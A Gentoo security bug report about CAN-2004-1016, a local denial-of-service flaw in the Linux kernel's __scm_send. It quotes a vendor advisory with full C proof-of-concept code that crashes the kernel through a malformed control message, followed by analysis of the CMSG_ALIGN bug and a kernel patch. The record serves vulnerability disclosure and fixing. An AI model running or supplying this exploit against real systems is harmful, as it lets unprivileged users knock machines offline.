Gentoo Websites Logo
Go to: Gentoo Home Documentation Forums Lists Bugs Planet Store Wiki Get Gentoo!

Bug 72458

Summary: Local DoS using __scm_send (CAN-2004-1016)
Product: Gentoo Security Reporter: Thierry Carrez (RETIRED) <koon>
Component: KernelAssignee: Gentoo Security <security>
Status: RESOLVED DUPLICATE    
Severity: normal    
Priority: High    
Version: unspecified   
Hardware: All   
OS: All   
Whiteboard: VENDOR-SEC-WAIT
Package list:
Runtime testing required: ---
Attachments:
Description Flags
patch-2.6.x- CAN-2004-1016.patch none

Description Thierry Carrez (RETIRED) gentoo-dev 2004-11-25 06:20:28 UTC
This is confidential.

Found by Paul Startetz
Affects <=2.4.28
No patch posted yet
Comment 1 solar (RETIRED) gentoo-dev 2004-11-27 07:39:22 UTC
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Hi,

below a non privileged version of your favourite setuid /sbin/halt 
command. On SMP machines you may need to start it few times.

Btw. we have a working proof-of-concept root exploit for the AF_UNIX issue
http://lists.netsys.com/pipermail/full-disclosure/2004-November/029055.html

preapre upgrades for your users.


/*
 *      Linux kernel __scm_send DoS
 *
 *      gcc -O2 scmbang.c -o scmbang
 *
 *      Copyright (c) 2004  iSEC Security Research. All Rights Reserved.
 *
 *      THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
 *      AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
 *      WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
 *
 */


#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <fcntl.h>
#include <time.h>

#include <sys/socket.h>
#include <sys/select.h>
#include <sys/time.h>

#include <netinet/in.h>
#include <netinet/tcp.h>

#include <arpa/inet.h>



static char buf[1024];



void fatal(const char *msg)
{
        printf("\n");
        if(!errno) {
                fprintf(stderr, "FATAL: %s\n", msg);
        }
        else {
                perror(msg);
        }
        printf("\n");
        fflush(stdout);
        fflush(stderr);
        exit(1);
}


int main(void)
{
int s, r;
struct sockaddr_in sin;
struct msghdr *msg;
struct cmsghdr *cmsg;

        s=socket(AF_INET, SOCK_DGRAM, 0);
        if(s<0)
                fatal("socket");

//      must be connected
        memset(&sin, 0, sizeof(sin));
        sin.sin_family = AF_INET;
        sin.sin_port = 9999;
        sin.sin_addr.s_addr = inet_addr("127.0.0.1");
        r = connect(s, &sin, sizeof(sin));
        if(r<0)
                fatal("connect");

        memset(buf, 0, sizeof(buf));
        msg = (void*)buf;
        msg->msg_control = (void*)(msg+1);

//      bad cmsgs
        cmsg = (void*)msg->msg_control;

//      skip this one
        cmsg->cmsg_len = sizeof(*cmsg);
        cmsg->cmsg_level = 0xdeadbeef;
        cmsg->cmsg_type = 12; // len after overflow on second msg
        cmsg++;

//      -12 for bang
        cmsg->cmsg_len = -12;
        cmsg->cmsg_level = SOL_IP;
        msg->msg_controllen = (unsigned)(cmsg+1) - (unsigned)msg->msg_control;
        r = sendmsg(s, msg, 0);
        if(r<0)
                fatal("sendmsg");

        printf("\nYou lucky\n"); fflush(stdout);

return 0;
}

- -- 
Paul Starzetz
iSEC Security Research
http://isec.pl/

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.7 (GNU/Linux)

iD8DBQFBpdZOC+8U3Z5wpu4RApCBAKDOTOXGFsk9eRYx43V54uK7mL/buQCfaAgh
weZQCIwKG4BquVLgFISWZeE=
=yGQy
-----END PGP SIGNATURE-----
Comment 2 solar (RETIRED) gentoo-dev 2004-11-27 07:40:12 UTC
//      -12 for bang

CMSG_ALIGN()
If you input -12, you'll get -12 out of it but if you input -3...-1
you'll get 0 out of it. All uses of the CMSG_ALIGN macro and similar
alignments and their use need to be audited. 

Attached is a quick hotfix which mitigates these problems at hand, but
some hard hitting kernel hackers have to tell what's the proper
approach.

--- include/linux/socket.h.orig 2004-11-25 11:19:17.000000000 -0500
+++ include/linux/socket.h      2004-11-25 11:19:47.000000000 -0500
@@ -122,7 +122,7 @@ __KINLINE struct cmsghdr * __cmsg_nxthdr
        struct cmsghdr * __ptr;
 
        __ptr = (struct cmsghdr*)(((unsigned char *) __cmsg) +  CMSG_ALIGN(__cmsg->cmsg_len));
-       if ((unsigned long)((char*)(__ptr+1) - (char *) __ctl) > __size)
+       if (__ptr <= __cmsg || ((unsigned long)((char*)(__ptr+1) - (char *) __ctl) > __size))
                return (struct cmsghdr *)0;
 
        return __ptr;
Comment 3 solar (RETIRED) gentoo-dev 2004-11-27 07:43:45 UTC
Created attachment 44830 [details, diff]
patch-2.6.x- CAN-2004-1016.patch

On Thu, 25 Nov 2004, Parul Starzetz wrote:
>
> below a non privileged version of your favourite setuid /sbin/halt=20
> command. On SMP machines you may need to start it few times.

Thanks for the program Paul.

This patch should fix the cmsg_len checking for 2.6.  A 2.4 backport
should be straightforward.

BTW, preempt will mitigate the effects of this particular attack.
However, there may well be other ways to exploit this through the
messages themselves.

Cheers,
-- 
Visit Openswan at http://www.openswan.org/
Email: Herbert Xu ~{PmV>HI~} <herbert@gondor.apana.org.au>
Home Page: http://gondor.apana.org.au/~herbert/
PGP Key: http://gondor.apana.org.au/~herbert/pubkey.txt
Comment 4 Thierry Carrez (RETIRED) gentoo-dev 2004-12-14 09:05:24 UTC
This bug will stay closed. Public followup to bug 74392

*** This bug has been marked as a duplicate of 74392 ***